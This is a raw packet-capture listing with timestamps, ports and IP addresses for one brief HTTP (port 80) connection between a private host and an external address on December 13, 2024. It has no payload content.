Dec 13, 2024 01:51:32.112410069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.118685961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.118747950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.118797064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.118812084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.118869066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.118890047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.118937969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.118948936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119379997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119396925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119443893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119469881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.119494915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119525909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.119559050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119575024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119600058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.119632959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119653940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.119662046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.119754076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.120296955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.120368958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.120388031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.120455027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.121264935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.121292114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.121335983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.121383905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.122277021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.122421026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.122493029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.123282909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.123414993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.123492956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.124248028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.124325991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.124360085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.124427080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.125246048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.125319958 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.125346899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.125410080 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.126238108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.126353025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.126431942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.127228022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.127302885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.127350092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.127415895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.128252983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.128268003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.128326893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.129230022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.129326105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.129405022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.130244970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.130285978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.130311966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.130389929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.131222010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.131282091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.131356955 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.132225990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.132298946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.132328033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.132404089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.133197069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.133322001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.133394957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.134238005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.134310007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.134426117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.134497881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.135190010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.135262966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.135327101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.135394096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.136208057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.136279106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.136305094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.136368036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.137223959 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.137238026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.137294054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.138240099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.138308048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.138324976 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.138396978 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.139220953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.139270067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.139348984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.140229940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.140302896 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.140336037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.140403032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.141186953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.141267061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.141298056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.141386986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.142180920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.142309904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.142390966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.143203974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.143289089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.143367052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.144181967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.144313097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.144329071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.144378901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.145179033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.145276070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.145293951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.145354986 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.146188974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.146275043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.146292925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.146393061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.147154093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.147285938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.147368908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.148159027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.148262024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.148279905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.148343086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.149142981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.149240971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.149286985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.149353027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.150091887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.150144100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.290070057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.290153980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.290237904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.290271044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.290307999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.290329933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.290354967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.291337967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.291363001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.291423082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.292084932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.292150974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.292202950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.292829037 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.292886019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.292978048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.293035030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.293816090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.293869972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.293905020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.293947935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.294800043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.294848919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.294881105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.294924021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.295809031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.295869112 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.295902014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.295943975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.296793938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.296844959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.296876907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.296916962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.297766924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.297820091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.297878027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.297919035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.298823118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.298880100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.298891068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.298933029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.299768925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.299870014 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.299901009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.299949884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.300795078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.300812006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.300844908 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.300854921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.301747084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.301816940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.301840067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.301901102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.302747965 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.302803040 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.302836895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.302941084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.303744078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.303800106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.303831100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.303872108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.304734945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.304791927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.304866076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.304905891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.305774927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.305793047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.305833101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.306744099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.306796074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.306804895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.306844950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.307755947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.307866096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.307904959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.308749914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.308846951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.308868885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.308909893 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.309730053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.309808969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.309839964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.309881926 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.310733080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.310786963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.310820103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.310939074 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.311726093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.311770916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.311832905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.311877012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.312730074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.312784910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.312819958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.312863111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.313740015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.313755989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.313786983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.313802004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.314754963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.314771891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.314821959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.314821959 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.315733910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.315793991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.315828085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.315875053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.316708088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.316761971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.316796064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.316837072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.317718029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.317810059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.317845106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.317887068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.318705082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.318752050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.318820000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.318960905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.319700956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.319753885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.319808960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.319926977 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.320694923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.320745945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.320872068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.320919991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.321701050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.321755886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.321790934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.321830034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.322714090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.322731972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.322767019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.322777987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.323740005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.323756933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.323790073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.323802948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.324702024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.324768066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.324795008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.324836969 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.325695992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.325753927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.325788975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.325874090 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.326718092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.326769114 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.326942921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.326992035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.327686071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.327742100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.327774048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.327888966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.328680038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.328735113 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.328804970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.328855038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.329653978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.329706907 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.329760075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.329798937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.330651999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.330708027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.330758095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.330874920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.331679106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.331695080 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.331723928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.331739902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.332683086 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.332751036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.332767963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.332808971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.333656073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.333738089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.333784103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.334660053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.334716082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.334752083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.334794044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.335647106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.335695028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.335752010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.335793972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.336708069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.336755991 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.336827040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.336872101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.337651968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.337678909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.337703943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.337718964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.338635921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.338686943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.338720083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.338893890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.339627028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.339678049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.339730978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.339834929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.340671062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.340719938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.340754986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.340840101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:32.341618061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:32.341672897 CET	49809	80	192.168.2.4	31.41.244.11
